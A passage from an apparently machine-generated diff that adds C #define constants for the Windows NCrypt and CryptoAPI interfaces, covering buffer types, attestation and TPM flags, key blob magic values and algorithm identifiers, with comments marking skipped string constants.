NCRYPTBUFFER_SSL_SERVER_RANDOM 0x15 +#define NCRYPTBUFFER_SSL_HIGHEST_VERSION 0x16 +#define NCRYPTBUFFER_SSL_CLEAR_KEY 0x17 +#define NCRYPTBUFFER_SSL_KEY_ARG_DATA 0x18 +#define NCRYPTBUFFER_SSL_SESSION_HASH 0x19 +#define NCRYPTBUFFER_PKCS_OID 0x28 +#define NCRYPTBUFFER_PKCS_ALG_OID 0x29 +#define NCRYPTBUFFER_PKCS_ALG_PARAM 0x2a +#define NCRYPTBUFFER_PKCS_ALG_ID 0x2b +#define NCRYPTBUFFER_PKCS_ATTRS 0x2c +#define NCRYPTBUFFER_PKCS_KEY_NAME 0x2d +#define NCRYPTBUFFER_PKCS_SECRET 0x2e +#define NCRYPTBUFFER_CERT_BLOB 0x2f +#define NCRYPTBUFFER_CLAIM_IDBINDING_NONCE 0x30 +#define NCRYPTBUFFER_CLAIM_KEYATTESTATION_NONCE 0x31 +#define NCRYPTBUFFER_KEY_PROPERTY_FLAGS 0x32 +#define NCRYPTBUFFER_ATTESTATIONSTATEMENT_BLOB 0x33 +#define NCRYPTBUFFER_ATTESTATION_CLAIM_TYPE 0x34 +#define NCRYPTBUFFER_ATTESTATION_CLAIM_CHALLENGE_REQUIRED 0x35 +#define NCRYPTBUFFER_ECC_CURVE_NAME 0x3c +#define NCRYPTBUFFER_ECC_PARAMETERS 0x3d +#define NCRYPTBUFFER_TPM_SEAL_PASSWORD 0x46 +#define NCRYPTBUFFER_TPM_SEAL_POLICYINFO 0x47 +#define NCRYPTBUFFER_TPM_SEAL_TICKET 0x48 +#define NCRYPTBUFFER_TPM_SEAL_NO_DA_PROTECTION 0x49 +#define NCRYPTBUFFER_TPM_PLATFORM_CLAIM_PCR_MASK 0x50 +#define NCRYPTBUFFER_TPM_PLATFORM_CLAIM_NONCE 0x51 +#define NCRYPTBUFFER_TPM_PLATFORM_CLAIM_STATIC_CREATE 0x52 +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_HASH 0x5a +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_PADDING_SCHEME 0x5b +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_PADDING_ALGO 0x5c +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_PADDING_SALT_SIZE 0x5d +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_SIGNATURE_PADDING_SALT 0x5d +#define NCRYPTBUFFER_ATTESTATION_STATEMENT_NONCE 0x31 +#define NCRYPTBUFFER_VBS_ATTESTATION_STATEMENT_ROOT_DETAILS 0x5e +#define NCRYPTBUFFER_VBS_ATTESTATION_STATEMENT_IDENTITY_DETAILS 0x5f +#define NCRYPTBUFFER_PKCS_AES_KEY_BITS 0x60 +#define NCRYPTBUFFER_PKCS_PADDING_ALGO 0x61 +#define NCRYPTBUFFER_PKCS_PADDING_LABEL 0x62 +#define NCRYPT_CIPHER_NO_PADDING_FLAG 0x0 +#define NCRYPT_CIPHER_BLOCK_PADDING_FLAG 0x1 +#define NCRYPT_CIPHER_OTHER_PADDING_FLAG 0x2 +#define NCRYPT_PLATFORM_ATTEST_MAGIC 0x44504150 +#define NCRYPT_KEY_ATTEST_MAGIC 0x4450414b +#define NCRYPT_CLAIM_AUTHORITY_ONLY 0x1 +#define NCRYPT_CLAIM_SUBJECT_ONLY 0x2 +#define NCRYPT_CLAIM_AUTHORITY_AND_SUBJECT 0x3 +#define NCRYPT_CLAIM_VBS_KEY_ATTESTATION_STATEMENT 0x4 +#define NCRYPT_CLAIM_VBS_ROOT 0x5 +#define NCRYPT_CLAIM_VBS_IDENTITY 0x6 +#define NCRYPT_CLAIM_WEB_AUTH_SUBJECT_ONLY 0x102 +#define NCRYPT_CLAIM_UNKNOWN 0x1000 +#define NCRYPT_CLAIM_PLATFORM 0x10000 +#define NCRYPT_CLAIM_WEB_AUTH_SUBJECT_ONLY_V2 0x103 +#define NCRYPT_ISOLATED_KEY_FLAG_CREATED_IN_ISOLATION 0x1 +#define NCRYPT_ISOLATED_KEY_FLAG_IMPORT_ONLY 0x2 +#define NCRYPT_ISOLATED_KEY_FLAG_PER_BOOT_KEY 0x4 +#define NCRYPT_VBS_KEY_FLAG_CREATED_IN_ISOLATION 0x1 +#define NCRYPT_VBS_KEY_FLAG_IMPORT_ONLY 0x2 +#define NCRYPT_VBS_KEY_FLAG_PER_BOOT_KEY 0x4 +#define NCRYPT_VBS_KEY_FLAG_IMPORT_EPHEMERAL_ONLY 0x8 +#define NCRYPT_ISOLATED_KEY_ATTESTED_ATTRIBUTES_V0 0x0 +#define NCRYPT_ISOLATED_KEY_ATTESTED_ATTRIBUTES_CURRENT_VERSION 0x0 +#define NCRYPT_VBS_KEY_ATTESTED_ATTRIBUTES_CURRENT_VERSION 0x0 +#define NCRYPT_EXPORTED_ISOLATED_KEY_HEADER_V0 0x0 +#define NCRYPT_EXPORTED_ISOLATED_KEY_HEADER_CURRENT_VERSION 0x0 +#define NCRYPT_VBS_ROOT_ATTESTATION_HEADER_V0 0x0 +#define NCRYPT_VBS_ROOT_ATTESTATION_HEADER_CURRENT_VERSION 0x0 +#define VBS_ROOT_ATTESTATION_HEADER_MAGIC 0x48435256 +#define NCRYPT_VBS_IDENTITY_ATTESTATION_PADDING_V0 0x0 +#define NCRYPT_VBS_IDENTITY_ATTESTATION_PADDING_CURRENT_VERSION 0x0 +#define NCRYPT_VBS_IDENTITY_ATTESTATION_HEADER_V0 0x0 +#define NCRYPT_VBS_IDENTITY_ATTESTATION_HEADER_CURRENT_VERSION 0x0 +#define VBS_IDENTITY_ATTESTATION_HEADER_MAGIC 0x48434956 +#define NCRYPT_VBS_KEY_ATTESTATION_STATEMENT_V1 0x1 +#define NCRYPT_VBS_KEY_ATTESTATION_STATEMENT_V2 0x2 +#define NCRYPT_VBS_KEY_ATTESTATION_STATEMENT_CURRENT_VERSION 0x2 +#define VBS_KEY_ATTESTATION_STATEMENT_MAGIC 0x53414b56 +#define NCRYPT_TPM_PLATFORM_ATTESTATION_STATEMENT_V0 0x0 +#define NCRYPT_TPM_PLATFORM_ATTESTATION_STATEMENT_CURRENT_VERSION 0x0 +#define NCRYPT_PAD_CIPHER_FLAG 0x10 +#define NCRYPT_PAD_PQDSA_FLAG 0x20 +#define NCRYPT_ATTESTATION_FLAG 0x20 +#define NCRYPT_SEALING_FLAG 0x100 +#define NCRYPT_DO_NOT_FINALIZE_FLAG 0x400 +#define NCRYPT_EXPORT_LEGACY_FLAG 0x800 +#define NCRYPT_IGNORE_DEVICE_STATE_FLAG 0x1000 +#define NCRYPT_TREAT_NIST_AS_GENERIC_ECC_FLAG 0x2000 +#define NCRYPT_NO_CACHED_PASSWORD 0x4000 +#define NCRYPT_PROTECT_TO_LOCAL_SYSTEM 0x8000 +#define NCRYPT_REQUIRE_KDS_LRPC_BIND_FLAG 0x20000000 +#define NCRYPT_PREFER_VIRTUAL_ISOLATION_FLAG 0x10000 +#define NCRYPT_USE_VIRTUAL_ISOLATION_FLAG 0x20000 +#define NCRYPT_USE_PER_BOOT_KEY_FLAG 0x40000 +#define NCRYPT_PREFER_VBS_FLAG 0x10000 +#define NCRYPT_REQUIRE_VBS_FLAG 0x20000 +#define NCRYPT_USE_VBS_PER_BOOT_KEY_FLAG 0x40000 +#define NCRYPT_VBS_RETURN_CLAIM_DETAILS_FLAG 0x100000 +#define NCRYPT_KEY_DERIVATION_OPERATION 0x40 +#define NCRYPT_KEY_ENCAPSULATION_OPERATION 0x80 +#define NCRYPT_AUTHORITY_KEY_FLAG 0x100 +#define NCRYPT_EXTENDED_ERRORS_FLAG 0x10000000 +// SKIPPED const NCRYPT_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_EPHEMERAL_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_UNIQUE_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ALGORITHM_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_LENGTHS_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_BLOCK_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PUBLIC_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SIGNATURE_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_CHAINING_MODE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_AUTH_TAG_LENGTH: non-integer constant +// SKIPPED const NCRYPT_UI_POLICY_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_EXPORT_POLICY_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_WINDOW_HANDLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_CONTEXT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_IMPL_TYPE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEY_USAGE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEY_TYPE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_VERSION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SECURITY_DESCR_SUPPORT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SECURITY_DESCR_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_COUNT_ENABLED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_COUNT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_LAST_MODIFIED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_MAX_NAME_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ALGORITHM_GROUP_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_DH_PARAMETERS_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ECC_PARAMETERS_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ECC_CURVE_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ECC_CURVE_NAME_LIST_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_VIRTUAL_ISOLATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USE_PER_BOOT_KEY_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PROVIDER_HANDLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_READER_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SMARTCARD_GUID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_CERTIFICATE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_PROMPT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_USER_CERTSTORE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ROOT_CERTSTORE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_SECURE_PIN_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ASSOCIATED_ECDH_KEY: non-integer constant +// SKIPPED const NCRYPT_SCARD_PIN_ID: non-integer constant +// SKIPPED const NCRYPT_SCARD_PIN_INFO: non-integer constant +// SKIPPED const NCRYPT_READER_ICON_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KDF_SECRET_VALUE: non-integer constant +// SKIPPED const NCRYPT_DISMISS_UI_TIMEOUT_SEC_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_VBS_ROOT_PUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_CERTIFICATE_FROM_NVRAM_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PARAMETER_SET_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEM_SHARED_SECRET_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEM_CIPHERTEXT_LENGTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_TYPE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PROVIDER_VERSION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_EKNVCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_EKNVCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_ECC_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_ECC_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_ECC_EKNVCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_SRKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PCRTABLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_CHANGEPASSWORD_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PASSWORD_REQUIRED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_USAGEAUTH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_MIGRATIONPASSWORD_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_EXPORT_ALLOWED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_STORAGEPARENT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PROVIDERHANDLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORMHANDLE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_BINDING_PCRMASK_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_BINDING_PCRDIGESTLIST_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_BINDING_PCRDIGEST_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_KEY_USAGE_POLICY_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_SCHEME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM12_IDBINDING_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM12_IDBINDING_DYNAMIC_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM12_IDACTIVATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_KEYATTESTATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_ALTERNATE_KEY_STORAGE_LOCATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PLATFORM_BINDING_PCRALGID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_POLICYREF: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_POLICYINFO: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_NONCE: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_SIGNATURE: non-integer constant +// SKIPPED const NCRYPT_PCP_HMAC_AUTH_TICKET: non-integer constant +// SKIPPED const NCRYPT_PCP_NO_DA_PROTECTION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_MANUFACTURER_ID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_FW_VERSION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM2BNAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_VERSION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RAW_POLICYDIGEST_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_KEY_CREATIONHASH_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_KEY_CREATIONTICKET_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_RSA_SCHEME_HASH_ALG_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_IFX_RSA_KEYGEN_PROHIBITED_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_TPM_IFX_RSA_KEYGEN_VULNERABILITY_PROPERTY: non-integer constant +#define IFX_RSA_KEYGEN_VUL_NOT_AFFECTED 0x0 +#define IFX_RSA_KEYGEN_VUL_AFFECTED_LEVEL_1 0x1 +#define IFX_RSA_KEYGEN_VUL_AFFECTED_LEVEL_2 0x2 +// SKIPPED const NCRYPT_PCP_SESSIONID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PSS_SALT_SIZE_PROPERTY: non-integer constant +#define NCRYPT_TPM_PSS_SALT_SIZE_UNKNOWN 0x0 +#define NCRYPT_TPM_PSS_SALT_SIZE_MAXIMUM 0x1 +#define NCRYPT_TPM_PSS_SALT_SIZE_HASHSIZE 0x2 +// SKIPPED const NCRYPT_PCP_INTERMEDIATE_CA_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_PCRTABLE_ALGORITHM_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PCP_SYMMETRIC_KEYBITS_PROPERTY: non-integer constant +#define NCRYPT_TPM_PAD_PSS_IGNORE_SALT 0x20 +#define NCRYPT_TPM12_PROVIDER 0x10000 +#define NCRYPT_PCP_SIGNATURE_KEY 0x1 +#define NCRYPT_PCP_ENCRYPTION_KEY 0x2 +#define NCRYPT_PCP_STORAGE_KEY 0x4 +#define NCRYPT_PCP_IDENTITY_KEY 0x8 +#define NCRYPT_PCP_HMACVERIFICATION_KEY 0x10 +// SKIPPED const NCRYPT_SCARD_NGC_KEY_NAME: non-integer constant +// SKIPPED const NCRYPT_PLUTON_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_RSA_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_RSA_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_ECC_EKCERT_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_ECC_EKPUB_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_SESSION_ID_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_KDF_PARENT_KEY_UNIQUE_NAME_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PLUTON_KDF_PARAMS_BUFFER_DESC_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_INITIALIZATION_VECTOR: non-integer constant +// SKIPPED const NCRYPT_CHANGEPASSWORD_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_ALTERNATE_KEY_STORAGE_LOCATION_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_KEY_ACCESS_POLICY_PROPERTY: non-integer constant +#define NCRYPT_MAX_PROPERTY_NAME 0x40 +#define NCRYPT_MAX_PROPERTY_DATA 0x100000 +#define NCRYPT_ALLOW_EXPORT_FLAG 0x1 +#define NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG 0x2 +#define NCRYPT_ALLOW_ARCHIVING_FLAG 0x4 +#define NCRYPT_ALLOW_PLAINTEXT_ARCHIVING_FLAG 0x8 +#define NCRYPT_ALLOW_PKCS11_RSA_AES_EXPORT_FLAG 0x10 +#define NCRYPT_IMPL_HARDWARE_FLAG 0x1 +#define NCRYPT_IMPL_SOFTWARE_FLAG 0x2 +#define NCRYPT_IMPL_REMOVABLE_FLAG 0x8 +#define NCRYPT_IMPL_HARDWARE_RNG_FLAG 0x10 +#define NCRYPT_IMPL_VIRTUAL_ISOLATION_FLAG 0x20 +#define NCRYPT_ALLOW_DECRYPT_FLAG 0x1 +#define NCRYPT_ALLOW_SIGNING_FLAG 0x2 +#define NCRYPT_ALLOW_KEY_AGREEMENT_FLAG 0x4 +#define NCRYPT_ALLOW_KEY_ENVELOPE_FLAG 0x8 +#define NCRYPT_ALLOW_KEY_IMPORT_FLAG 0x8 +#define NCRYPT_ALLOW_KEY_ATTESTATION_FLAG 0x10 +#define NCRYPT_ALLOW_KEY_IMPORT_EPHEMERAL_FLAG 0x20 +#define NCRYPT_ALLOW_ALL_USAGES 0xffffff +#define NCRYPT_UI_PROTECT_KEY_FLAG 0x1 +#define NCRYPT_UI_FORCE_HIGH_PROTECTION_FLAG 0x2 +#define NCRYPT_UI_FINGERPRINT_PROTECTION_FLAG 0x4 +#define NCRYPT_UI_APPCONTAINER_ACCESS_MEDIUM_FLAG 0x8 +// SKIPPED const NCRYPT_PIN_CACHE_FREE_APPLICATION_TICKET_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_FLAGS_PROPERTY: non-integer constant +#define NCRYPT_PIN_CACHE_DISABLE_DPL_FLAG 0x1 +// SKIPPED const NCRYPT_PIN_CACHE_APPLICATION_TICKET_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_APPLICATION_IMAGE_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_APPLICATION_STATUS_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_PIN_PROPERTY: non-integer constant +// SKIPPED const NCRYPT_PIN_CACHE_IS_GESTURE_REQUIRED_PROPERTY: non-integer constant +#define NCRYPT_PIN_CACHE_REQUIRE_GESTURE_FLAG 0x1 +#define NCRYPT_PIN_CACHE_APPLICATION_TICKET_BYTE_LENGTH 0x5a +// SKIPPED const NCRYPT_PIN_CACHE_CLEAR_PROPERTY: non-integer constant +#define NCRYPT_PIN_CACHE_CLEAR_FOR_CALLING_PROCESS_OPTION 0x1 +#define NCRYPT_KEY_ACCESS_POLICY_VERSION 0x1 +#define NCRYPT_ALLOW_SILENT_KEY_ACCESS 0x1 +#define NCRYPT_CIPHER_KEY_BLOB_MAGIC 0x52485043 +#define NCRYPT_KDF_KEY_BLOB_MAGIC 0x3146444b +#define NCRYPT_PROTECTED_KEY_BLOB_MAGIC 0x4b545250 +// SKIPPED const NCRYPT_CIPHER_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_KDF_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_PROTECTED_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_TPM_LOADABLE_KEY_BLOB: non-integer constant +#define NCRYPT_TPM_LOADABLE_KEY_BLOB_MAGIC 0x4d54504b +// SKIPPED const NCRYPT_TPM_PERSISTENT_KEY_BLOB: non-integer constant +#define NCRYPT_TPM_PERSISTENT_KEY_BLOB_MAGIC 0x4d54504b +// SKIPPED const NCRYPT_PKCS7_ENVELOPE_BLOB: non-integer constant +// SKIPPED const NCRYPT_PKCS8_PRIVATE_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_OPAQUETRANSPORT_BLOB: non-integer constant +// SKIPPED const NCRYPT_ISOLATED_KEY_ENVELOPE_BLOB: non-integer constant +#define NCRYPT_PQ_PRIVATE_BLOB_MAGIC 0x52505150 +// SKIPPED const NCRYPT_PQ_PRIVATE_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_PQ_PUBLIC_KEY_BLOB: non-integer constant +// SKIPPED const NCRYPT_DESCR_DELIMITER_OR: non-integer constant +// SKIPPED const NCRYPT_DESCR_DELIMITER_AND: non-integer constant +// SKIPPED const NCRYPT_DESCR_EQUAL: non-integer constant +// SKIPPED const MS_KEY_PROTECTION_PROVIDER: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_SID: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_LOCAL: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_LOCAL_LOGON: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_LOCAL_USER: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_LOCAL_MACHINE: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_SDDL: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_WEBCREDENTIALS: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_LOCKEDCREDENTIALS: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_ALGORITHM_CERTIFICATE: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_CERT_HASHID: non-integer constant +// SKIPPED const NCRYPT_KEY_PROTECTION_CERT_CERTBLOB: non-integer constant +#define NCRYPT_NAMED_DESCRIPTOR_FLAG 0x1 +#define NCRYPT_PROTECTION_INFO_TYPE_DESCRIPTOR_STRING 0x1 +#define ALG_CLASS_ANY 0x0 +#define ALG_CLASS_SIGNATURE 0x2000 +#define ALG_CLASS_MSG_ENCRYPT 0x4000 +#define ALG_CLASS_DATA_ENCRYPT 0x6000 +#define ALG_CLASS_HASH 0x8000 +#define ALG_CLASS_KEY_EXCHANGE 0xa000 +#define ALG_CLASS_ALL 0xe000 +#define ALG_TYPE_ANY 0x0 +#define ALG_TYPE_DSS 0x200 +#define ALG_TYPE_RSA 0x400 +#define ALG_TYPE_BLOCK 0x600 +#define ALG_TYPE_STREAM 0x800 +#define ALG_TYPE_DH 0xa00 +#define ALG_TYPE_SECURECHANNEL 0xc00 +#define ALG_TYPE_ECDH 0xe00 +#define ALG_TYPE_THIRDPARTY 0x1000 +#define ALG_SID_ANY 0x0 +#define ALG_SID_THIRDPARTY_ANY 0x0 +#define ALG_SID_RSA_ANY 0x0 +#define ALG_SID_RSA_PKCS 0x1 +#define ALG_SID_RSA_MSATWORK 0x2 +#define ALG_SID_RSA_ENTRUST 0x3 +#define ALG_SID_RSA_PGP 0x4 +#define ALG_SID_DSS_ANY 0x0 +#define ALG_SID_DSS_PKCS 0x1 +#define ALG_SID_DSS_DMS 0x2 +#define ALG_SID_ECDSA 0x3 +#define ALG_SID_DES 0x1 +#define ALG_SID_3DES 0x3 +#define ALG_SID_DESX 0x4 +#define ALG_SID_IDEA 0x5 +#define ALG_SID_CAST 0x6 +#define ALG_SID_SAFERSK64 0x7 +#define ALG_SID_SAFERSK128 0x8 +#define ALG_SID_3DES_112 0x9 +#define ALG_SID_CYLINK_MEK 0xc +#define ALG_SID_RC5 0xd +#define ALG_SID_AES_128 0xe +#define ALG_SID_AES_192 0xf +#define ALG_SID_AES_256 0x10 +#define ALG_SID_AES 0x11 +#define ALG_SID_SKIPJACK 0xa +#define ALG_SID_TEK 0xb +#define CRYPT_MODE_CBCI 0x6 +#define CRYPT_MODE_CFBP 0x7 +#define CRYPT_MODE_OFBP 0x8 +#define CRYPT_MODE_CBCOFM 0x9 +#define CRYPT_MODE_CBCOFMI 0xa +#define ALG_SID_RC2 0x2 +#define ALG_SID_RC4 0x1 +#define ALG_SID_SEAL 0x2 +#define ALG_SID_DH_SANDF 0x1 +#define ALG_SID_DH_EPHEM 0x2 +#define ALG_SID_AGREED_KEY_ANY 0x3 +#define ALG_SID_KEA 0x4 +#define ALG_SID_ECDH 0x5 +#define ALG_SID_ECDH_EPHEM 0x6 +#define ALG_SID_MD2 0x1 +#define ALG_SID_MD4 0x2 +#define ALG_SID_MD5 0x3 +#define ALG_SID_SHA 0x4 +#define ALG_SID_SHA1 0x4 +#define ALG_SID_MAC 0x5 +#define ALG_SID_RIPEMD 0x6 +#define ALG_SID_RIPEMD160 0x7 +#define ALG_SID_SSL3SHAMD5 0x8 +#define ALG_SID_HMAC 0x9 +#define ALG_SID_TLS1PRF 0xa +#define ALG_SID_HASH_REPLACE_OWF 0xb +#define ALG_SID_SHA_256 0xc +#define ALG_SID_SHA_384 0xd +#define ALG_SID_SHA_512 0xe +#define ALG_SID_SSL3_MASTER 0x1 +#define ALG_SID_SCHANNEL_MASTER_HASH 0x2 +#define ALG_SID_SCHANNEL_MAC_KEY 0x3 +#define ALG_SID_PCT1_MASTER 0x4 +#define ALG_SID_SSL2_MASTER 0x5 +#define ALG_SID_TLS1_MASTER 0x6 +#define ALG_SID_SCHANNEL_ENC_KEY 0x7 +#define ALG_SID_ECMQV 0x1 +#define ALG_SID_EXAMPLE 0x50 +#define SIGNATURE_RESOURCE_NUMBER 0x29a +#define CRYPT_VERIFYCONTEXT 0xf0000000 +#define CRYPT_NEWKEYSET 0x8 +#define CRYPT_DELETEKEYSET 0x10 +#define CRYPT_SILENT 0x40 +#define CRYPT_DEFAULT_CONTAINER_OPTIONAL 0x80 +#define CRYPT_UPDATE_KEY 0x8 +#define CRYPT_USER_PROTECTED_STRONG 0x100000 +#define RSA1024BIT_KEY 0x4000000 +#define CRYPT_SERVER 0x400 +#define KEY_LENGTH_MASK 0xffff0000 +#define CRYPT_DECRYPT_RSA_NO_PADDING_CHECK 0x20 +#define CRYPT_SECRETDIGEST 0x1 +#define CRYPT_OWF_REPL_LM_HASH 0x1 +#define CRYPT_LITTLE_ENDIAN 0x1 +#define CRYPT_NOHASHOID 0x1 +#define CRYPT_TYPE2_FORMAT 0x2 +#define CRYPT_X931_FORMAT 0x4 +#define CRYPT_MACHINE_DEFAULT 0x1 +#define CRYPT_USER_DEFAULT 0x2 +#define CRYPT_DELETE_DEFAULT 0x4 +#define SIMPLEBLOB 0x1 +#define PUBLICKEYBLOB 0x6 +#define PRIVATEKEYBLOB 0x7 +#define PLAINTEXTKEYBLOB 0x8 +#define OPAQUEKEYBLOB 0x9 +#define PUBLICKEYBLOBEX 0xa +#define SYMMETRICWRAPKEYBLOB 0xb +#define KEYSTATEBLOB 0xc +#define CRYPT_USERDATA 0x1 +#define KP_IV 0x1 +#define KP_PADDING 0x3 +#define KP_MODE 0x4 +#define KP_MODE_BITS 0x5 +#define KP_P 0xb +#define KP_G 0xc +#define KP_Q 0xd +#define KP_X 0xe +#define KP_Y 0xf +#define 